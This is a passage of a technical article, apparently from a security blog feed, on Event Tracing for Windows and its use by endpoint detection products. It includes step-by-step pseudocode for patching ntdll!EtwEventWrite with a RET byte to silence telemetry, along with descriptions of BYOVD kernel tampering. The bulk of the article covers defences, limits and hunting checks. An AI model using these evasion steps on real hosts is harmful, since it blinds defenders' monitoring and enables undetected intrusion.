&lt;li&gt;Use &lt;code&gt;VirtualProtect&lt;/code&gt; to make the page writable.&lt;/li&gt;
&lt;li&gt;Write the byte &lt;code&gt;0xC3&lt;/code&gt; over the function&apos;s first byte.&lt;/li&gt;
&lt;li&gt;Restore the page protection.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;0xC3&lt;/code&gt; is the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret]: &quot;C3 RET ZO Valid Valid Near return to calling procedure.&quot; Any caller into the function falls straight back to its return address before producing a single event. The calling process now silently fails to emit any user-mode ETW events for any provider that funnels through the patched stub -- including &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The technique has been re-implemented in every language that can call &lt;code&gt;VirtualProtect&lt;/code&gt;. The fluxsec.red Rust port [@fluxsec-etw-patching] [@fluxsec-etw-patching] explains the modern variant verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;When a ETW Provider sends a notification, it will eventually reach into ntdll.dll for the function NtTraceEvent... we can simply patch the function address to return straight from byte 0. The opcode for a ret is C3, so we can swap out the opcode 4C with C3 to immediately return out of the stub.&quot; -- [@fluxsec-etw-patching]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here is the structure of the patch in TypeScript pseudocode -- not actually runnable Win32, but mirroring exactly what a Windows binary would do:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: silence user-mode ETW for the calling process.
// This silences only the calling process and only user-mode providers
// that funnel through the patched stub.&lt;/p&gt;
&lt;p&gt;// 1. Resolve the address of ntdll!EtwEventWrite in this process.
const ntdll = getModuleHandle(&quot;ntdll.dll&quot;);
const fn = getProcAddress(ntdll, &quot;EtwEventWrite&quot;);&lt;/p&gt;
&lt;p&gt;// 2. Make the function&apos;s first page writable.
const PAGE_EXECUTE_READWRITE = 0x40;
let oldProtect = 0;
virtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, /* out */ ref(oldProtect));&lt;/p&gt;
&lt;p&gt;// 3. Write 0xC3 (RET) over the first byte. Caller now returns immediately.
writeByte(fn, 0xC3);&lt;/p&gt;
&lt;p&gt;// 4. Restore original page protection.
virtualProtect(fn, 1, oldProtect, /* out */ ref(oldProtect));&lt;/p&gt;
&lt;p&gt;// Limits:
// - Silences only this process.
// - Silences only providers whose emit path funnels through this stub.
// - Cannot silence kernel-emitted providers like Microsoft-Windows-Threat-Intelligence.
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The patch operates on the calling process&apos;s user-mode trampoline. Other processes on the host are unaffected; their ETW emissions continue normally. Kernel-emitted providers like &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; are unaffected even in the patched process; they fire from the kernel side of the syscall path, after control has crossed the user/kernel boundary, on a code path the user-mode patcher cannot reach without first achieving kernel execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Gen 3 (2021-2023): kernel-mode primitives&lt;/h3&gt;
&lt;p&gt;If a user-mode patch cannot reach EtwTi, can a kernel-mode patch? Yes -- but the attacker first needs kernel execution. The most common path is BYOVD [@paragmali-com-in-windows]: load a signed but vulnerable driver and use its primitive to read or write kernel memory. Once you can write kernel memory you can target ETW&apos;s internal data structures directly.&lt;/p&gt;
&lt;p&gt;Binarly&apos;s Black Hat Europe 2021 talk [@binarly-edr] [@binarly-edr] documents the surface verbatim:&lt;/p&gt;

Many ways to disable ETW logging are publicly available from passing a TRUE boolean parameter into a `nt!EtwpStopTrace` function to finding an ETW specific structure and dynamically modifying it or patching `ntdll!ETWEventWrite` or `advapi32!EventWrite` to return immediately thus stopping the user-mode loggers. -- [@binarly-edr]
&lt;p&gt;The kernel-side primitives Binarly enumerates target the &lt;code&gt;_ETW_GUID_ENTRY&lt;/code&gt; structure for a provider, the &lt;code&gt;EtwpRegistration&lt;/code&gt; linked list of registered providers, and the &lt;code&gt;EtwpEventTracingProhibited&lt;/code&gt; flag the kernel checks before emitting events. Yarden Shafir&apos;s 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir] provides the contemporary kernel-side data structure walk through &lt;code&gt;_ETW_REALTIME_CONSUMER&lt;/code&gt; and &lt;code&gt;_ETW_SILODRIVERSTATE&lt;/code&gt;, and notes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Most recently, the Lazarus Group bypassed EDR detection by disabling ETW providers&quot; -- [@trailofbits-shafir]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The architectural-level treatment is well-documented; the specific kernel offsets that change between Windows builds are a moving target. We treat the technique class as well-established and the per-build offset details as out of scope.&lt;/p&gt;
&lt;h3&gt;Defense Gen 1 (2017): Antimalware-PPL + ELAM gate on EtwTi&lt;/h3&gt;
&lt;p&gt;Section 9 covered this in detail. The point to record here, in the attack-tradition timeline, is that the Antimalware-PPL gate predates the Adam Chester 2020 user-mode patch by three years. Microsoft did not respond to Chester&apos;s post; they had already put the load-bearing security signal structurally out of reach of any user-mode patch in the calling process. The user-mode patch class is generic against &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; and the rest of the user-mode catalogue; it is structurally impotent against &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Defense Gen 2 (2022): Vulnerable Driver Blocklist on by default&lt;/h3&gt;
&lt;p&gt;The kernel-mode primitive class needs a kernel write. Without a vulnerability in the EDR&apos;s kernel driver, the realistic path is BYOVD: load a third-party signed driver that exposes a memory-write primitive. The structural defense is Microsoft&apos;s Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb]:&lt;/p&gt;

Since the Windows 11 2022 update, the vulnerable driver blocklist is enabled by default for all devices, and can be turned on or off via the Windows Security app... the vulnerable driver blocklist is also enforced when either memory integrity, also known as hypervisor-protected code integrity (HVCI), Smart App Control, or S mode is active... The blocklist is updated quarterly. In addition, blocklist updates are delivered through the monthly Windows updates as part of the standard servicing process. -- [@ms-vdb]
&lt;p&gt;The blocklist enumerates known-vulnerable signed drivers by hash; the kernel refuses to load anything on the list. On a Windows 11 22H2-or-later host with the default settings, the BYOVD primitive against most known-vulnerable drivers is closed. With HVCI on, the closure is enforced even against attackers who would otherwise try to load drivers via legacy paths. The empirical bound is the LOLDrivers project&apos;s catalogue of known-vulnerable drivers; the blocklist tracks public discovery with a lag of approximately one quarter, which is the residual window an attacker can exploit before a freshly disclosed driver is added.&lt;/p&gt;

The attack pattern of loading a known-vulnerable but signed driver to obtain a kernel-mode primitive (memory read, memory write, or arbitrary code execution). Used in real-world EDR-blinding attacks, including by the Lazarus Group as cited in Trail of Bits&apos; 2023 ETW walk [@trailofbits-shafir].

The Microsoft-maintained blocklist of known-vulnerable signed drivers, by hash. Enabled by default on Windows 11 22H2 and later. Enforced more strictly when HVCI, Smart App Control, or S mode is active. Updated quarterly per the Microsoft Learn primary [@ms-vdb].
&lt;p&gt;The LOLDrivers project [@loldrivers] [@loldrivers] is the empirical anchor for the BYOVD lag story. It catalogues known-vulnerable signed drivers as a community resource; the Microsoft blocklist updates quarterly, but blocklist updates are also delivered through monthly Windows servicing, so a freshly-disclosed driver can live in an exploitation window of as short as ~1 month (via Patch Tuesday) or up to a full quarter before its hash is added.&lt;/p&gt;

flowchart LR
    subgraph Attacks
        A1[&quot;Gen 1 2014-2018: Autologger registry tampering -- Palantir CIRT taxonomy&quot;]
        A2[&quot;Gen 2 2020: EtwEventWrite 0xC3 RET -- Adam Chester&quot;]
        A3[&quot;Gen 3 2021-2023: Kernel _ETW_GUID_ENTRY -- EtwpRegistration EtwpStopTrace via BYOVD&quot;]
    end
    subgraph Defenses
        D1[&quot;Sysmon Event ID 13 -- monitor Autologger subtree&quot;]
        D2[&quot;Antimalware-PPL plus ELAM -- gate on EtwTi 2017&quot;]
        D3[&quot;Vulnerable Driver Blocklist -- default-on Win11 22H2 plus HVCI&quot;]
    end
    A1 --&amp;gt; D1
    A2 --&amp;gt; D2
    A3 --&amp;gt; D3
&lt;h3&gt;The 2026 picture&lt;/h3&gt;
&lt;p&gt;User-mode patching cannot reach the kernel-mode provider that EDR cares about. The BYOVD primitive that could reach it is structurally narrowed by default on supported hardware. The remaining gap is the long tail of newly-disclosed vulnerable drivers between disclosure and blocklist update, plus any custom kernel zero-day an attacker discovers in an EDR&apos;s own driver. Both are real, both are exploited in the wild, neither is the universally-applicable evasion the 2020-era user-mode patch class was.&lt;/p&gt;
&lt;p&gt;That is the operational story. But ETW has structural limits even when no attacker is patching anything.&lt;/p&gt;
&lt;h2&gt;12. Theoretical limits: what ETW cannot see, even with every defence engaged&lt;/h2&gt;
&lt;p&gt;Even on a perfectly-configured Windows 11 box -- HVCI [@paragmali-com-in-windows] on, Vulnerable Driver Blocklist on, Antimalware-PPL Defender consuming EtwTi, third-party EDR ELAM-onboarded -- there are events ETW does not emit. Some are observed too late. Some are not observed at all.&lt;/p&gt;
&lt;p&gt;There are three structural ceilings.&lt;/p&gt;
&lt;h3&gt;Pre-ETW kernel paths&lt;/h3&gt;
&lt;p&gt;The Global Logger session is one of the earliest things to come up at boot, but it is not the first. Some early-init driver paths run before any ETW session exists; they cannot be traced via ETW. Measured Boot is the discipline that records this prefix into TPM PCRs, with attestation handled by the platform integrity layer rather than by ETW. The implication for EDR is that any malicious code executing during early boot, before the Global Logger session is up, is invisible to ETW.&lt;/p&gt;
&lt;h3&gt;Incomplete EtwTi syscall coverage&lt;/h3&gt;
&lt;p&gt;The 10 &lt;code&gt;KERNEL_THREATINT_TASK_*&lt;/code&gt; task IDs are the public surface. The underlying syscall set the kernel actually instruments is not exhaustively documented. The fluxsec.red inventory [@fluxsec-eti] [@fluxsec-eti] is the public surface, not the private one. Some syscalls are clearly covered (&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; for cross-process allocation surfaces as &lt;code&gt;KERNEL_THREATINT_TASK_ALLOCVM&lt;/code&gt;); some have partial coverage (&lt;code&gt;MAPVIEW_LOCAL&lt;/code&gt; and &lt;code&gt;MAPVIEW_REMOTE&lt;/code&gt; keywords cover some but not all of the section-mapping primitive set across &lt;code&gt;NtCreateSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSectionEx&lt;/code&gt;, image-section vs file-section variants); some are not enumerated at all in the public manifest. Process-hollowing primitives that combine &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; and &lt;code&gt;NtMapViewOfSection&lt;/code&gt; may be partially covered depending on which path the attacker takes.&lt;/p&gt;
&lt;h3&gt;The async-flush gap&lt;/h3&gt;
&lt;p&gt;ETW&apos;s per-CPU ring buffer is asynchronous. If a process allocates RWX memory, writes shellcode, executes it, and returns within one writer-thread flush interval, the event is &lt;em&gt;recorded&lt;/em&gt; but the attacker&apos;s payload has &lt;em&gt;already executed&lt;/em&gt;. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. The Microsoft Learn primary on About Event Tracing [@ms-about-etw] [@ms-about-etw] is explicit that events can be lost:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Events can be lost if any of the following conditions occur ... The total event size is greater than 64K ... The disk is too slow to keep up with the rate at which events are being generated. ... For real-time logging, the real-time consumer is not consuming events fast enough.&quot; -- [@ms-about-etw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No ETW-only EDR can prevent a syscall whose payload completes inside one writer flush. EDRs that ship a kernel driver and register synchronous callbacks (CrowdStrike, SentinelOne, Sysmon, Elastic Defend) can deny operations through the &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetprocnotify] [@ms-pssetprocnotify] &lt;code&gt;CreationStatus&lt;/code&gt; field; ETW-only EDRs cannot. ETW is observation, not enforcement.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ETW is observation, not enforcement. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. Sub-microsecond payloads execute before the writer thread flushes; the layered defense stack of 2026 is an empirical bar, not a theoretical guarantee.&lt;/p&gt;
&lt;/blockquote&gt;

The VBS-backed code-integrity enforcement for kernel-mode code on Windows. With HVCI enabled, the hypervisor enforces that only signed kernel pages can execute. Closes the attack class that loads unsigned drivers; combined with the Vulnerable Driver Blocklist it closes most of the realistic BYOVD primitive surface as well.
&lt;p&gt;The &quot;events can be lost&quot; enumeration in [@ms-about-etw] is the dispositive Microsoft acknowledgement of ETW&apos;s lossy substrate. SOC playbooks should treat ETW telemetry as best-effort, not as a guaranteed audit trail. Forensic claims that depend on completeness need an independent corroborating source.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A detection-only EDR can alert on a malicious operation, but only after the operation has happened. By the time the SOC sees the alert, the syscall has completed, the shellcode has executed, the credentials have been stolen. This is why the kernel-callback path (with its ability to deny via &lt;code&gt;CreationStatus&lt;/code&gt;) coexists with ETW even though ETW is more flexible: a SOC playbook needs both the speed of denial and the breadth of observation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 2026 layered stack -- Antimalware-PPL + EtwTi + HVCI + VBL -- raises the empirical bar enormously. It does not close the architectural gap. Sub-microsecond payloads still execute before the writer thread flushes. The BYOVD primitive on a non-HVCI box still defeats the kernel-callback layer. There are still problems the substrate cannot solve in principle.&lt;/p&gt;
&lt;p&gt;Those are the limits we can describe. The next section is about the limits we cannot yet measure.&lt;/p&gt;
&lt;h2&gt;13. Open problems: keyword drift, secure kernel ETW, and the BYOVD arms race&lt;/h2&gt;
&lt;p&gt;The 2026 state of the art has five active open problems. Each has a partial workaround; none has a complete solution.&lt;/p&gt;
&lt;h3&gt;1. EtwTi keyword inventory drift across builds&lt;/h3&gt;
&lt;p&gt;Microsoft has not published a complete, current &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; keyword inventory. The community-maintained references -- the jdu2600 cross-build inventory [@gh-jdu2600] [@gh-jdu2600] and the repnz manifest archive [@gh-repnz] [@gh-repnz] -- are partial coverage and lag Microsoft&apos;s quarterly servicing cadence. EDR vendors that hard-code keyword bitmasks against an old build can silently miss events on newer builds because the keyword definitions have shifted underneath them. Detection engineers writing rules against &lt;code&gt;KERNEL_THREATINT_TASK_*&lt;/code&gt; IDs that move between builds can get false negatives.&lt;/p&gt;

There are three plausible reasons, and Microsoft has not stated which (or which combination) is operative. *Operational secrecy*: a complete keyword inventory tells attackers exactly which syscall paths are observed and which are not, narrowing the search for evasion paths. *Documentation cost*: the inventory shifts every build, and maintaining a synchronised public reference is engineering work without an obvious internal champion. *Deliberate moving target*: keeping the public surface incomplete forces attackers to reverse-engineer per build, raising the cost of stable evasion. The community references partially defeat all three rationales; the absence remains.
&lt;h3&gt;2. Secure ETW (the &lt;code&gt;EtwSi*&lt;/code&gt; family)&lt;/h3&gt;
&lt;p&gt;Windows VBS Trustlets run in the Secure Kernel (VTL1), insulated from the normal-world kernel (VTL0) by the hypervisor. The Secure Kernel exposes its own ETW family for VTL1 components; this is enumerated in fragments in Alex Ionescu&apos;s BlackHat 2015 deck on the Secure Kernel and in subsequent BlueHatIL talks. There is no public consumer-facing primary on &lt;code&gt;EtwSi*&lt;/code&gt; in 2026. Cross-link: this article&apos;s companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] covers the producer side of the story.&lt;/p&gt;
&lt;h3&gt;3. Forensic soundness of ETW telemetry&lt;/h3&gt;
&lt;p&gt;ETW is lossy by design (per the [@ms-about-etw] enumeration). Whether ETW-derived telemetry is &lt;em&gt;forensically sound&lt;/em&gt; -- chain-of-custody complete, lossless under load, attestable as untampered between event emission and SIEM ingestion -- is an open question. Courts have not ruled. The current best partial result is to treat ETW as supporting evidence and require independent corroboration (file-system snapshots, network captures, OS state captures) for any claim that depends on completeness. Sysmon&apos;s Event ID 16 (Sysmon configuration changed) [@ms-sysmon] and the autologger registry write events on &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; are useful integrity signals: an attacker who silenced ETW typically leaves a footprint here.&lt;/p&gt;
&lt;h3&gt;4. The BYOVD arms race&lt;/h3&gt;
&lt;p&gt;The Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb] is hash-based and updated quarterly. The LOLDrivers project [@loldrivers] [@loldrivers] documents the public catalogue of known-vulnerable signed drivers. The gap between disclosure and blocklist update--as short as ~1 month via Patch Tuesday or up to a full quarter--is the residual exploitation window. The deeper structural issue is that the blocklist is hash-based; an attacker who finds a new vulnerability in a previously-trusted signed driver enjoys a fresh window every quarter. Closing this gap requires either a different trust model (allow-listing of known-good drivers, as Smart App Control does for executables) or behavioural detection of suspicious driver loads. Both are active areas of work.&lt;/p&gt;
&lt;h3&gt;5. Cross-process section-mapping coverage&lt;/h3&gt;
&lt;p&gt;EtwTi&apos;s &lt;code&gt;KERNEL_THREATINT_TASK_MAPVIEW&lt;/code&gt; covers some but not all section-mapping primitives. The public fluxsec.red [@fluxsec-eti] inventory lists &lt;code&gt;MAPVIEW_LOCAL&lt;/code&gt; and &lt;code&gt;MAPVIEW_REMOTE&lt;/code&gt; keywords, but the underlying syscall set (&lt;code&gt;NtMapViewOfSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSectionEx&lt;/code&gt;, &lt;code&gt;NtCreateSection&lt;/code&gt;, image-section vs file-section variants) is not exhaustively documented. Detection engineers who depend on full coverage of cross-process section mapping are working from an incomplete map.&lt;/p&gt;
&lt;h3&gt;What would a v2 ETW look like?&lt;/h3&gt;
&lt;p&gt;A theoretical ideal: synchronous kernel-emitted events on every security-relevant syscall, with the consumer running in VTL1 (Secure Kernel) so even a kernel-mode attacker in VTL0 cannot tamper with the consumer. The &lt;code&gt;EtwSi*&lt;/code&gt; family is the partial realisation. The full ideal is incompatible with x64 syscall performance: synchronous notification on every syscall would dominate the cost of the syscall itself. The pragmatic answer Microsoft has been building toward is &lt;em&gt;selective&lt;/em&gt; synchronous notification (the kernel notify routines for high-value control points) layered with &lt;em&gt;broad&lt;/em&gt; asynchronous observation (ETW for everything else), with the most security-critical of the broad observations promoted to PPL/ELAM-gated kernel-emitted producers (EtwTi). Two decades of layering, no single architectural endpoint.For the producer side of the Secure Kernel ETW story (&lt;code&gt;EtwSi*&lt;/code&gt;), see this article&apos;s companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] in the same series. The Trustlet-side architecture is a separate topic large enough to need its own walkthrough.&lt;/p&gt;
&lt;p&gt;Open problems are interesting but they are not actionable. The next section is about what an engineer can do on Monday morning.&lt;/p&gt;
&lt;h2&gt;14. Practical guide: five things to do Monday morning&lt;/h2&gt;
&lt;p&gt;You have read 12,000 words about ETW. Here are five concrete checks an engineer can run on a Windows host this morning.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;logman query providers&lt;/code&gt; enumerates every registered provider on the host. Cross-reference the output against the section 8 catalogue and flag any security-relevant provider your EDR is not consuming. Pay specific attention to &lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;, and &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; if Sysmon is installed. Missing coverage of any of these on a host you are responsible for is a detection-coverage gap, not a configuration issue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run &lt;code&gt;wevtutil gp Microsoft-Windows-Threat-Intelligence&lt;/code&gt; to confirm the provider is registered and inspect its keyword definitions. Then check whether your EDR is actually a consumer: walk the live-debugger handle enumeration in Yarden Shafir&apos;s Trail of Bits post [@trailofbits-shafir] [@trailofbits-shafir] (the WinDbg JS scripts are linked from the post). If your EDR is supposed to be ELAM-onboarded but does not appear in the consumer enumeration for an EtwTi logger session, your installation may have lost the gate. This is the difference between a configured EDR and a functional EDR.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Enumerate &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; for unauthorised session entries. Per the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback], this is the persistent-tampering surface. A baseline audit should produce a known list of expected sessions (Defender, your EDR, Sysmon if installed, the standard Windows diagnostic listeners). Any subkey not on the baseline list is an investigation candidate. Sysmon Event ID 13 (registry value set) [@ms-sysmon] on this subtree is a high-signal alert in any SIEM.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run &lt;code&gt;Get-CimInstance Win32_DeviceGuard | Select-Object SecurityServicesConfigured, SecurityServicesRunning, VirtualizationBasedSecurityStatus&lt;/code&gt; to expose whether HVCI and the Vulnerable Driver Blocklist are active. Per the Microsoft Learn primary [@ms-vdb] [@ms-vdb], the BYOVD ceiling is your kernel-tampering integrity guarantee. If VBS is &lt;code&gt;Off&lt;/code&gt; on a managed endpoint, your detection coverage is structurally weaker than it should be on supported hardware. Treat it as a hardening item, not a nice-to-have.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Write a hunting query for the pattern: &quot;process X registers as ETW consumer for &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; and X is not on the EDR allow-list.&quot; The provider&apos;s PPL+ELAM gate makes this a high-signal alert: only a signed Antimalware-PPL service can pass the gate, so an unexpected process holding an &lt;code&gt;EtwConsumer&lt;/code&gt; handle to the TI logger ID is either a misconfigured tool, a legitimate research session you forgot about, or an attacker chain that has acquired Antimalware-PPL trust on your fleet. The first two are quick to triage; the third is an incident.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The structure of the check in pseudocode -- mirroring the WinDbg JS approach in [@trailofbits-shafir]:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: inventory providers and identify EtwTi consumers.&lt;/p&gt;
&lt;p&gt;// 1. Enumerate registered providers and find Microsoft-Windows-Threat-Intelligence.
const providers = enumerateRegisteredProviders();
const tiProvider = providers.find(p =&amp;gt; p.guid === &quot;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&quot;);
if (!tiProvider) {
  warn(&quot;EtwTi provider not registered on this host&quot;);
}&lt;/p&gt;
&lt;p&gt;// 2. Enumerate live trace sessions and find any that subscribe to TI.
const sessions = enumerateLoggerSessions();  // logman query -ets equivalent
const tiSessions = sessions.filter(s =&amp;gt;
  s.providers.some(p =&amp;gt; p.guid === tiProvider?.guid));&lt;/p&gt;
&lt;p&gt;// 3. Walk EtwConsumer handles for each TI session; identify the consuming processes.
const expectedConsumers = [&quot;MsMpEng.exe&quot;, &quot;CSFalconService.exe&quot;, &quot;SentinelAgent.exe&quot;];
for (const session of tiSessions) {
  const consumers = enumerateEtwConsumers(session.loggerId);  // Shafir WinDbg JS
  for (const consumer of consumers) {
    if (!expectedConsumers.includes(consumer.processName)) {
      alert(`Unexpected EtwTi consumer: ${consumer.processName} (PID ${consumer.pid})`);
    }
  }
}&lt;/p&gt;
&lt;p&gt;// 4. Audit autologger persistence entries against a known baseline.
const baseline = loadAutologgerBaseline();
const live = enumerateAutologgerSubkeys();  // HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger
for (const entry of live) {
  if (!baseline.includes(entry.name)) {
    alert(`Unexpected autologger entry: ${entry.name}`);
  }
}
`}&lt;/p&gt;
&lt;p&gt;With those five checks, the catalogue is no longer an abstraction. You have an inventory of what your host emits, an inventory of who consumes the most security-critical provider, an audit of the persistence surface that defines what gets emitted at all, a confirmation of the integrity layer that closes BYOVD, and a hunt for anyone who has somehow obtained the passport. Now we close with the questions every reader should expect to have.&lt;/p&gt;
&lt;h2&gt;15. Frequently asked questions&lt;/h2&gt;

Yes, for *publication*. Sysmon&apos;s kernel driver `SysmonDrv.sys` registers `PsSetCreateProcessNotifyRoutineEx` and the related thread- and image-load callbacks; the user-mode service then publishes the resulting events via its own `Microsoft-Windows-Sysmon` ETW provider GUID `{5770385F-C22A-43E0-BF4C-06F5698FFBD9}` [@ms-sysmon]. It does not consume the public catalogue providers via ETW for its kernel-event hot path; the kernel taps come straight from the callback API. This callback-then-publish architecture is why Sysmon&apos;s events are universally consumable by SIEM forwarders and downstream tools.

Because Defender consumes `Microsoft-Windows-Threat-Intelligence`, which fires from the kernel side of memory-modifying syscalls, not from the user-mode `ntdll!EtwEventWrite` trampoline. The fluxsec.red walkthrough states the asymmetry verbatim: &quot;we cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself&quot; [@fluxsec-eti]. The Adam Chester 2020 patch silences user-mode providers (like `Microsoft-Windows-DotNETRuntime`) for the patched process; it cannot silence kernel-emitted providers for any process. Defender&apos;s load-bearing security signal is structurally out of reach of the user-mode patch class.

No. The provider&apos;s security descriptor admits only Antimalware-PPL signers loaded by an ELAM driver. A non-PPL `EnableTraceEx2` call against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the Microsoft Learn primary on EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] documents the error code for insufficient-privilege callers; the PPL-specific gate that triggers it for EtwTi is described in [@fluxsec-eti]). The gate exists because an attacker who could trivially become an EtwTi consumer would have direct visibility into the kernel&apos;s view of every memory-modifying syscall on the host -- exactly the inventory needed to evade everything else.

Schema location. Manifest-based providers ship an out-of-band XML manifest registered with `wevtutil im`; consumers decode events against the system-installed manifest using TDH. TraceLogging providers carry the schema *inline* in each event payload as type-length-value triples; consumers decode without any registered manifest. TraceLogging events are larger because the schema bytes ride in the payload; manifest events have a smaller per-event size at the cost of installation friction. Both inherit the eight-session cap [@ms-about-etw], [@ms-tracelogging-about].

Sixty-four globally per [@ms-etw-sessions], with Windows 2000 limited to 32. Per-provider, manifest-based and TraceLogging providers admit up to 8 simultaneous sessions; classic and WPP providers admit only 1 [@ms-about-etw], [@ms-etw-config]. The runtime symptom of the per-provider 8-session cap binding is `ERROR_NO_SYSTEM_RESOURCES` from `EnableTraceEx2` [@ms-enabletraceex2]; the runtime symptom of the global 64-session cap binding is the same error from `StartTrace`.

No. EventPipe is a managed-runtime cross-platform analogue to ETW that shipped in .NET Core 3.0 (September 2019) and remains available in every later release including .NET 5+. It runs on Linux and macOS as well as Windows. On Windows, the kernel-mode providers and the EtwTi security substrate have no EventPipe equivalent; EventPipe is a complement to ETW for managed workloads, not a replacement. The Windows EDR substrate remains ETW; managed-runtime tracing has acquired an additional cross-platform path that does not displace it.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;etw-event-tracing-for-windows-and-the-edr-substrate&quot; keyTerms={[
  { term: &quot;ETW&quot;, definition: &quot;Event Tracing for Windows: kernel-buffered observability bus introduced in Windows 2000.&quot; },
  { term: &quot;Provider&quot;, definition: &quot;A component that emits ETW events tagged with a GUID.&quot; },
  { term: &quot;Controller&quot;, definition: &quot;A component that creates, configures, and stops trace sessions.&quot; },
  { term: &quot;Consumer&quot;, definition: &quot;A component that reads events from a session in real time or from an .etl file.&quot; },
  { term: &quot;Manifest-based provider&quot;, definition: &quot;Vista-era ETW provider class with XML manifest schema and 8-session cap.&quot; },
  { term: &quot;TraceLogging&quot;, definition: &quot;Self-describing ETW provider class with inline TLV schema, shipped in Windows 10.&quot; },
  { term: &quot;EtwTi&quot;, definition: &quot;Microsoft-Windows-Threat-Intelligence: the kernel-emitted memory-syscall provider; PPL+ELAM-gated.&quot; },
  { term: &quot;Antimalware-PPL&quot;, definition: &quot;Signer level on the PPL lattice for antimalware services; gates EtwTi consumption.&quot; },
  { term: &quot;ELAM&quot;, definition: &quot;Early Launch Antimalware: driver class that gates the certificate inventory for permitted Antimalware-PPL binaries.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver: load a known-vulnerable signed driver to obtain kernel primitive.&quot; },
  { term: &quot;Vulnerable Driver Blocklist&quot;, definition: &quot;Microsoft-maintained hash blocklist; default-on in Windows 11 22H2.&quot; },
  { term: &quot;Autologger&quot;, definition: &quot;Registry-persisted boot-time ETW session under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\.&quot; }
]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;ETW is now twenty-six years old. It started as a performance facility for Windows 2000 driver authors who could not afford &lt;code&gt;DbgPrint&lt;/code&gt; on production servers, and it became the substrate of every major Windows endpoint security product through a decade of unintended consequences. The Vista team that raised the per-provider session cap from 1 to 8 was thinking about ergonomics. The Windows 8.1 team that introduced Antimalware-PPL was thinking about Defender&apos;s hardening, not about future third-party EDRs. The team that shipped EtwTi in the Windows 10 RS-era understood the security stakes precisely. By 2026 those three decisions, taken in three different Microsoft contexts a decade apart, are the architecture of detection on the Windows endpoint -- and the reason the operator in the section 1 hook scene loses the round even when the patch works exactly as it should.&lt;/p&gt;
</content:encoded><category>etw</category><category>windows-internals</category><category>edr</category><category>security</category><category>kernel</category><category>detection-engineering</category><category>threat-intelligence</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>